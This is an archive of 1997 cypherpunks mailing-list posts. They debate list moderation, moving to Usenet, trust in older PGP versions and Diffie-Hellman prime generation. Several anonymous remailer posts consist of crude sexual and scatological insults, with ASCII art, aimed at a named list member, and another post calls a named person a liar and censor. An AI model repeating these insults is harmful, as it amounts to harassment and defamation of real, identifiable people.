Message-ID: <32F6C659.2B24@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
> 
> I've heard this rumour before. 

I didnt hear any rumor or anything. It just makes sense to me to be
paranoid like Mr. Zimmerman said.
Besides, my uncles friends write cryptagraphy for government guys
and big businesses and they mostly use 2.1 and 2.3 instead of the
stuff they write.

They say the code for the new stuff (PGP) is ok but there are too 
many funny-stuff programs being written that mess with it but that
nobody is bothering to write funny-stuff to mess with the old
versions. They say the same thing about their own stuff that they
are writing.

> Of course, feel free not to trust what I say. You can look at the
> source code yourself. But from what I've seen, you'll be better off
> with the latest version.

I cant read code real good, so i just listen to the best guys I know
to know how paraniod to be.
 
> The world is a strange and dangerous place. 
"No shit, Sherlock!"
Thats what we say on my lists when people say stuff that nobody 
should forget. I think a lot of the cypherpunks forgot the stuff
that they put at the end of their messages since they dont do it.

Thanks for writing me. Your polite and helpful.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 20:23:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
In-Reply-To: <v02140b05af1be4797ba0@[206.184.194.205]>
Message-ID: <199702040423.VAA14422@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


pdh@best.com (Peter Hendrickson) writes:

> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.

Ever heard of Usenet?  It works exactly like that...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 21:29:25 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Filling Power Vacuums
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970204052637Z-2@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, filling in for Mother Theresa:

timmy, I encourage you to understand that leadership is not 
inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.
.................................................


Well, thank you, Master Yoda !   :>) 

Not speaking for Tim (I doubt he will answer you, anyway), but he *has*
supplied leadership.   Leaders can lead by example, and also by the
clarity of thought & ideas which they present.  I think he has quite
often supplied such qualities in his posts, and this has contributed
greatly to the atmosphere of anarchic "community". 

Speaking of leadeship, though, to "lead" implies that there is a place
to go, and that the leader is the one at the head of the pack,
indicating the proper direction (this would be the opposite of what
anarchists want, since they would be going not toward, but away from,
something).  

If leadership is defined to mean setting a course for people who lack
direction, this implies the existence of followers who are willing to be
led into places and to adopt methodologies when they don't know what
else to do; that they will follow a leader who will supply structure and
purpose to their indecisive condition.

This does place a lot of responsibility upon a leader, then, for setting
the goal, the course, and the methodology.  That's a lot of formality to
impose; too much, when you're only exchanging ideas rather than formally
setting out to accomplish something specific (like by a particular time
& date). 

Is it Time for the Revolution? 

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 20:30:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702032348.XAA00259@server.test.net>
Message-ID: <199702040430.VAA14550@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> Lucky Green <shamrock@netcom.com> writes:
> > I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> > Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> > cause. Let's kill the list. Once and for all. Let the hard core crypto go
> > to Coderpunks, the politics to Cryptography, and the garbage into the void.
> 
> What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
> Where do they go?

How about sci.crypt, where they usually go before being forwarded to
cypherpunks?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 20:06:29 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Let Paranoia Be Your Watchword...
In-Reply-To: <v03007801af1bcb283e03@[168.161.105.191]>
Message-ID: <32F6CAEF.7508@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Of course, the mind-flayers of the NSA might have altered every version of
> PGP 2.1! Let paranoia be your watchword...

My uncle says that sometimes (your last sentence). Maybe he got it from you?
He keeps your messages in a dir called NotADork. This is the one he keeps 
track the size of by bytes. He says that he keeps track of the size of his
Dorks dir by wieghing it on the bathroom scale.
(This is a compliment5 to you.)
 
> I wouldn't be so quick to rule out the possibility of you being "a real
> lamer," if I were you.

I don't. I let _lamer_ be my watchword...
Everyones a lamer, sometimes. A "real lamer" is a lamer all the time.
Cypherpunks have some guys who talk real intelligent with a lot of words but
when you read it all, you can tell that their full-time lamers instead
of just ocassional ones.
Your hardly ever a lamer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 20:06:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP 2.1 Reasons
In-Reply-To: <199702022225.OAA03367@toad.com>
Message-ID: <32F6D1E4.19D6@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
 >
 > I've heard this rumour before.
 
 I didnt hear any rumor or anything. It just makes sense to me to be
 paranoid like Mr. Zimmerman said.
 Besides, my uncles friends write cryptagraphy for government guys
 and big businesses and they mostly use 2.1 and 2.3 instead of the
 stuff they write.
 
 They say the code for the new stuff (PGP) is ok but there are too
 many funny-stuff programs being written that mess with it but that
 nobody is bothering to write funny-stuff to mess with the old
 versions. They say the same thing about their own stuff that they
 are writing.
 
 > Of course, feel free not to trust what I say. You can look at the
 > source code yourself. But from what I've seen, you'll be better off
 > with the latest version.
 
 I cant read code real good, so i just listen to the best guys I know
 to know how paraniod to be.
 
 > The world is a strange and dangerous place.

 "No shit, Sherlock!"
 Thats what we say on my lists when people say stuff that nobody
 should forget. I think a lot of the cypherpunks forgot the stuff
 that they put at the end of their messages since they dont do it.
 
 Thanks for writing me. Your polite and helpful.

Mutatis Mutantdis wrote:> 
 Well, start thinking....

My uncle says I must be a cryptagrapher because I think in random
umbers. Then he laughs.

Marcus Butler wrote:
 If you are going to be that paranoid about things, you should not use
 anything you did not write yourself, afterall, even the cypherpunks 
 list could be an elaborate government scheme to lull people into using 
 PGP and similar technologies (JJ).

I dont write good code yet.
My uncle and his friends say that the government guys couldnt ever
do what they wanted with the cypherpunks because of the shit-disturbers
on the list but that the big business guys who want to own the list
to themselves will do what the government guys couldnt do.
(They ought to know cause some of them are the government guys who
watch the cypherpunks. I know cause they let me drink Scotch with
them.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 22:06:08 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <3.0.32.19970203220420.006ecc98@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>
>>Moderation has been a failure.  I'm pretty good at filtering and I
>>can sadly report that there is very little signal out there.
>
>I don't think it's reasonable to expect an increase in signal within 2 1/2
>weeks of the start of moderation. Improvement in the s/n ratio, yes. But
>(at least if my speculation is correct), the good posts driven away by bad
>posts (because some good authors are too busy to wade through lots of crap,
>and some good authors are reluctant to publish their work amidst crap)
>would take a much longer time to return.

Many good authors have already left the list and *nothing* will get them
back. The only solution is to move traffic to a different list. [Ever
wondered why it is called a "TAZ" and not a "PAZ"? Though, in all fairness,
I there is a "SPAZ". <Hi to Dave Synthesis and all the folks from SPAZ>.]




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:19:57 -0800 (PST)
To: weidai@eskimo.com (Wei Dai)
Subject: Re: what's in a name?
In-Reply-To: <199702040140.RAA09183@toad.com>
Message-ID: <199702040623.WAA29603@songbird.com>
MIME-Version: 1.0
Content-Type: text


Wei Dai allegedly said:
> 
> I've stayed out of the debate about list moderation so far, but a recent
> post from tmcghan@gill-simpson.com reminds me of something I've been
> thinking about.  An interesting way to look at what happened is that John
> Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
> that ownership.  Even though those of us who disagree with the way he has
> done so are free to leave and set up our own mailing list, it is costly to
> do so, and the problem of central name ownership remains.  List
> subscribers have made investments that are specific to the name
> "cypherpunks@toad.com", and most of the cost of switching to a new list is
> in the new investments they would have to (re)make.  The fact is that a
> promise of no censorship is not enough incentive for us to do so. 
>  
> I suspect that the hierarchical nature of name ownership on the Internet
> today will be an important technological barrier for the establishment of
> truly anarchic virtual communities.  Unless this problem is solved, the
> closest we'll come is pseudo-anarchies that exist with the tolerance of
> beneficent dictators.

While the name hierarchy may have some effect similar to what you 
suggest, I think the real issue is more likely economic hierarchy -- 
toad.com is a name of some value, true, but toad.com is also a T1 
connection and some compute power that many people simply can't afford.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:22:37 -0800 (PST)
To: farber@cis.upenn.edu (David Farber)
Subject: Re: concerning Ben Franklin
In-Reply-To: <199702040155.RAA09584@toad.com>
Message-ID: <199702040625.WAA29629@songbird.com>
MIME-Version: 1.0
Content-Type: text


David Farber allegedly said:
> 
> My favorate Ben Franklin quote is
> 
> "They that can give up essential liberty to obtain a little temporary 
>  safety deserve neither liberty nor safety."       - Ben Franklin, ~1784

In the constitutional convention a property requirement for voting 
was discussed.  Franklin said "A man owns an ass; he can vote.  The 
ass dies; he cannot vote.  Who owns the vote?"  (I may not have 
quoted it precisely.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:33:38 -0800 (PST)
To: svmcguir@syr.edu (Scott V. McGuire)
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040126.RAA08926@toad.com>
Message-ID: <199702040636.WAA29734@songbird.com>
MIME-Version: 1.0
Content-Type: text


Scott V. McGuire allegedly said:
[...]
> I didn't change my subscription from the filtered to
> the unfiltered list because I expected this to end in a month and I was
> willing to participate in the experiment.  You can't ask someone to try
> something for a month to see if they like it and call there use of it in
> that month evidence that they like it.

I agree.  But there is more.  As much as anything else, I didn't
change lists because of inertia and laziness.  I suspect that most 
people are like me in this regard.  I suspect that if the tactic had 
been to require people to subscribe to the moderated list we would 
see just the reverse of the current numbers.  In fact, in the 
interests of fairness, integrity, and adherence to the scientific 
method, I suggest that after this month trial has passed that we 
reverse the lists, and see how many change to the moderated list.

[snip]

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise.  I don't think the moderators opinion should be considered in
> determining if moderation is a good thing.  I think there is a conflict of
> interest there.

Absolutely no doubt that there is a conflict of interest.  In Sandy's shoes 
a saint couldn't be objective.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 21:38:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PCS] Fighting the cyber-censors
Message-ID: <199702040538.WAA16306@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dumbbell Vindictive styles his facial hair to look more like
pubic hair.

       D\___/\
        (0_o)   Dumbbell Vindictive
         (V)
  ---oOo--U--oOo---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 19:46:46 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031455.GAA25476@toad.com>
Message-ID: <Pine.SUN.3.95.970203165532.16991B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


I agree with two of Tim's points.  I express no opinion about the others,
except that I think these are the two most important. 

(1) I agree with Tim that as a matter of principle, it would be preferable
to create a new moderated list, with a similar but distinguishable name,
and leave the existing list as it was.  I happen to think less turns on
this than does Tim, given the opportunity to exercise truth-in-labeling,
but it seems to me that because the cost of this approach is zero, and it
has real benefits in the eyes of some, it's a no-brainer.  I expect that I
would subscribe to the filtered version.  If someone is really worried
that the new list will be too low traffic (please, G*d), they can send an
automatic ballot to all subscribers, USENET style,asking what list(s) they
want to be on.  My own view is that if you are not ready, willing or able
to read and follow a periodic posting explaining how to sign on/off
various lists (and I assume there should and would be one), I am willing
to take the risk of missing your input.

(2) Much to my surprise, so far moderation is a failure.  I think it is a
failure because it achieves neither of the moderation "sweet spots".  No
moderation is one "sweet spot".  Strict moderation -- the kind you get on
RISKS, where you know nearly every post is on-topic or at least worth your
time -- is another. This is neither. My clumsy procmail filters are almost
as busy as ever.  What slips through is largely duplicative of what I get
from other lists, or is not to my taste. (NB *my taste*.)  And it gets
here slower.  It's true that the venom from anonymous remailers is gone,
and that is a plus, but even so little of what slips through is of
interest modulo other lists.  I happen to think that *stricter* moderation
might lure back some of the better content-providers, but it would help to
set it up in a manner that offends the smallest possible number.

As Oscar Wilde either said, or should have said, the worst crime is to be
boring.   

PS. New members of the list may justly ask, where does he get off calling
the posters he doesn't killfile bores?  I stopped posting a lot to the
list some time ago, back when I decided my energies were better spent
writing long stuff (see my web page) and playing with my kids.  I kept
reading the list primarily to read the work of about six people -- and Tim
was one of them. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 4 Feb 1997 00:25:43 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702040426.UAA13731@toad.com>
Message-ID: <3.0.1.32.19970203225806.00600760@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>If the list is going to turn into Usenet (we've already got most of 
>Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. 
>(Anyone care to guess who founded alt.* as a way to route around 
>censorship?)

The big argument against going to a newsgroup in the past
was that signal-to-noise would degrade to the point of alt.2600ness
due to newbies, flamers, overflow to/from political ranting newsgroups, etc.,
and there's already a sci.crypt for that.  The main argument
in favor of moderation has been that the list has become unreadable
due to newbies, flamers, political ranting, and directed attacks
and maybe moderation would fix it, at the cost of annoying people
who don't like moderation (which is realistically most of us;
two practical reasons not to have moderation are that the volume is too high
for most people to be willing to moderate, and that the delays 
inherent in the moderation process reduce the interactivity that's
been one of the valuable things about this list.)  I'd prefer that
we all just get along, but things really were getting uncivil.

An advantage of Usenet is the ability to deploy whatever NoCeM is
called these days as a way to let people avoid spammers.

Personally, I'd switched to the fcpunx filtered list a couple months ago,
mainly to cut down on volume but also because I was getting fed up
with Vulis's attacks through remailers, which were getting to be
too much trouble to filter out.  I switched back to the main list
after the moderation announcement, with Eudora filters
to make some discussions and some people go away.

Of course, there have been several different demonstrations of
ways around the moderation since then.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 3 Feb 1997 20:50:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040139.TAA01626@manifold.algebra.com>
Message-ID: <8N3k2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Adam Back wrote:
> >
> > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> > an aside, it is ironic that John Gilmore was the guy who started the
> > alt.* USENET hierarchy, specifically to facilitate freedom of speech).
> >
>
> An interesting idea.

John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for
other people's accomplishments.  He had nothing whatsoever to do with the
creation of the alt.* Usenet hierarchy. Gilmore is a liar and a censor.

On the other hand, creating an alt.cypherpunks sounds like a more robust
idea than yet another mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 23:05:25 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031455.GAA25476@toad.com>
Message-ID: <v03007806af1c8e4da79c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
>I agree with two of Tim's points.  I express no opinion about the others,
>except that I think these are the two most important.
>
>(1) I agree with Tim that as a matter of principle, it would be preferable
>to create a new moderated list, with a similar but distinguishable name,
>and leave the existing list as it was.  I happen to think less turns on

This is a point of view many of the most thoughtful commenters seem to
agree on, isn't it? One would have thought that had Sandy and John really
been interested in hearing the views of list members, this approach would
have eventually won out.

>(2) Much to my surprise, so far moderation is a failure.  I think it is a

It doesn't surprise me, but then I've rarely been a fan of moderation. As
Michael points out below, it mostly works on "RISKS," but in most other
cases I can think of it merely slows discussion down, introduces strange
skewings of opinions (to win "approval" of the moderator), and almost never
causes better posts to be written.

(The case of skilled editors soliciting good articles is of course an
entirely different issue.)

>failure because it achieves neither of the moderation "sweet spots".  No
>moderation is one "sweet spot".  Strict moderation -- the kind you get on
>RISKS, where you know nearly every post is on-topic or at least worth your
>time -- is another. This is neither. My clumsy procmail filters are almost
>as busy as ever.  What slips through is largely duplicative of what I get

Several people have also commented on this, that their filters are still
working overtime. As it should be, really, as no moderator can make the
list match any given person's preferences.

(Personally, I'm not even convinced filters are essential. It takes no
longer than 5 seconds to glance at a message and know whether to scrap it
or not. Granted, it takes a bit of time to download, especially at slower
modem speeds. But whether Sandy's censorship is producing any significant
"savings" depends on how many messages he's sorting into each
pile...clearly if 20% or less of the total posts are being filtered out,
then the savings are ignorable. Anybody have the statistics handy? Hint:
Sandy should publish a periodic accounting of how many messages went into
each pile, and should also publish his criteria on a regular basis,
pointing out any modifications he's made to his criteria since the last
report.)

>As Oscar Wilde either said, or should have said, the worst crime is to be
>boring.

Maybe the list is like the portrait of Dorian Gray, with an image of the
list sitting in a closet at Toad Hall aging not so gracefully.

>PS. New members of the list may justly ask, where does he get off calling
>the posters he doesn't killfile bores?  I stopped posting a lot to the
>list some time ago, back when I decided my energies were better spent
>writing long stuff (see my web page) and playing with my kids.  I kept
>reading the list primarily to read the work of about six people -- and Tim
>was one of them.

Thanks. And I should point out in fairness that Michael recruited me for
his panel on "Governmental and Societal Implications of Digital Cash" (or
something like this) at the upcoming CFP.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 22:29:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: The V chip
Message-ID: <199702040629.XAA17045@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Demented Vomit was born when his mother was on the toilet.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Demented Vomit






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 22:31:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [DSS] PGP Signatures
Message-ID: <199702040631.XAA17062@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Decoy Vilus K)ankersore( Of The Minute's family tree goes
straight up. All of his ancestors were siblings, too dumb to
recognize each other in the dark.

       |\_/|
       (0_0)     Decoy Vilus K)ankersore( Of The Minute
      ==(Y)==
  ---(u)---(u)---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 23:37:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mailing Lists vs. Usenet
Message-ID: <v02140b01af1c8cc736a1@[206.184.194.226]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
> Seriously, if you want a distributed no-choke-points "flooding"
> message distribution system, you're talking about Usenet. Robust
> software exists for clients and servers, and it's already supported
> worldwide on many operating systems. No need to write more software
> to graft that functionality onto E-mail. If the list is going to
> turn into Usenet (we've already got most of Usenet's better kooks),
> we might as well just move the damn thing over to alt.cypherpunks
> and be done with it. (Anyone care to guess who founded alt.* as a
> way to route around censorship?)

> (Of course, Usenet is a technical success and a spectacular failure,
> content-wise. So opponents of moderation will be forgiven for
> failing to mention this sparkling example of an unmoderated,
> anything-goes forum for discussion.)

Several people have brought up this point and it is worth discussing.
There are some differences.

I don't like Usenet's architecture.  It is silly to duplicate vast
amounts of traffic everywhere.  It was a fine idea when there were 100
groups with lots of overlap in what people read.  The horse and buggy
was a good idea once too.

Performance is a problem with Usenet.  The system I envision (nearly
identical to Igor's) would have about ten mail servers, each of which
sends articles to all the others.  Even in situations where something
is wrong, articles will be nearly instantly transmitted along an
alternate path.  I think this is harder to arrange with Usenet.

Competition among Cypherpunks providers works the right way.  If you
are getting your mail on a system which is slow and isn't up all the
time, you have good reasons to switch to another provider.  This is
easy - just subscribe yourself to one mailing list and unsubscribe
from the other.  It's harder for most people to do this with Usenet.
You may not want to switch your ISP to get a better Cypherpunks feed.

In my opinion, Usenet is less conducive to filtering than is mail.  It
is true that there are lots of Usenet readers which can do things like
kill whole threads and the like, but mail just screams "run me through
a perl script!"  This is mostly subjective, of course.

More subjective opinions: I don't like being associated with Usenet.
It is seen as an international bulletin board.  Many people believe
that it is "public" space and should be subject to zoning.  I like the
idea of keeping the cypherpunks list "private".  I like being able to
say "if what's on the list upsets you so much, why did you subscribe?"
This is more effective than "so tell your child not look at Usenet".

I don't like the whole Usenet cabal and all of the voting to decide
which lists to canonize.  Less of an issue with alt.cypherpunks, but
the association is still there.

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 23:39:26 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <v02140b03af1c90f93317@[206.184.194.226]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>> Moderation has been a failure.  I'm pretty good at filtering and I
>> can sadly report that there is very little signal out there.

> I don't think it's reasonable to expect an increase in signal within 2 1/2
> weeks of the start of moderation.

What I have seen is a pretty complete elimination of the signal that
was there.  Some might argue that this is "just" because Tim stopped
posting.  But so what?  The result of moderation was the elimination
of signal.  (Aside: Can anybody think of five members of the list
whose combined contributions clearly exceed Tim's?  I can't.)

Also, I am curious when you expect the benefits of moderation to
arrive.  Two and a half weeks should be plenty of time for a reasoned
creative and interesting discussion to develop.  It hasn't happened.
Instead the value of the list has - in my view - steadily tapered off
since the announcement of moderation.

>> There are lessons to be learned here.  One is that censorship does
>> not promote a stimulating and creative dialogue.

> No, that is a silly lesson to draw from this experiment. There are
> lots of useful and interesting "moderated" (on paper, it's called
> "editing") publications/lists/digests where the content is
> intentionally controlled for content and style.

And in practice people get their friends published.  Ever wonder why
Denning got so much bandwidth on the RISKS list when she had so little
to say?

I don't like edited journals, either.  I prefer to have somebody I
respect say "Did you see so-and-so's paper?  Here's the URL."  Most of
what is in, for instance, peer reviewed scientific journals is fluff
designed to enhance somebody's resume.

Moderation was a good idea when you had a number of people who
couldn't all talk at once in the same room and in which a disruptive
influence could not be easily ignored.

We have better ways to communicate now.  Let's use them.

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:10:38 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702032011.MAA01053@toad.com>
Message-ID: <199702032348.XAA00259@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
Where do they go?

You expect Perry to stick his neck out and approve them?  (Perry
Metzger is the moderator of cryptography@c2.net, started recently as a
moderated version of cypherpunks for those who don't know what the
`cryptography' list is).  The existance of cryptography argues against
the need for `cypherpunks' to be moderated.  Why two competing
moderated lists?

Secondly the status of garbage is in the eye of the beholder.  There
are a few posts which are probably considered garbage by near
everyone, but lots of other stuff which really just depends on what
the reader is interested in.

The problem with censorship or moderation is that it waters down the
absolutism of free speech.  Free speech in electronic media, with
cypherpunks type I, and type II remailers, is the closest thing to
truly free speech yet.

A lot of people seem to regard Jim Bell's assasination politics as
suitable material for censoring.  Yet it is pretty crypto relevant.

Sandy's job is pretty hard to do.  For instance I recently posted
this, which ended up in cpunks-flames, due to being in a thread which
contained a mild flame 2 messages back:

: Diffie-Hellman key generation, there are two main ways of generating
: the diffie-hellman prime modulus, method 1:
: 
: 	p = 2q+1
: 
: where q is a prime also.
: 
: And method 2:
: 
: 	p = r.2q+1
: 
: where q is a prime and r is a randomly generated number.
: 
: With method 1, the security parameter is the size of p in bits (or
: size of q, as they are related).
: 
: With method 2, there are two security parameters, size of q and size
: of p in bits.  
: 
: Method 2 has the advantage that key generation is faster as it is
: quicker to generate new random numbers r, than to repeatedly generate
: trial prime q as you have to do in method 1.  However is the security
: weaker in method 2?  What size of p and q do you have to use to get
: the same security as for same size of p in bits as in method 1?  What
: should be the relationship between the size of p and q?

(I freely admit to injecting additional crypto relevance just for the
fun of seeing it be filtered cpunks-flames -- though I was interested
in discussion also).

> I am well aware of the name recognition and reputation capital associated
> with CP, still I believe it best to *kill the list*.

I'd prefer to see various filtering services offered, and the list
retained.

My main objection with the moderation experiment is that the main list
was renamed.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 22:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Degausser
Message-ID: <199702040657.XAA17392@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Decoy L[esbian] Vitriol K[ancer]OTM has been fired for
masturbating in front of his boss.

          o/ Decoy L[esbian] Vitriol K[ancer]OTM
         <|
         / >






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Howard W Campbell <woody@hi.net>
Date: Tue, 4 Feb 1997 02:11:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32F70B0F.63DF@hi.net>
MIME-Version: 1.0
Content-Type: text/plain


 subscribe cypherpunks@toad.com




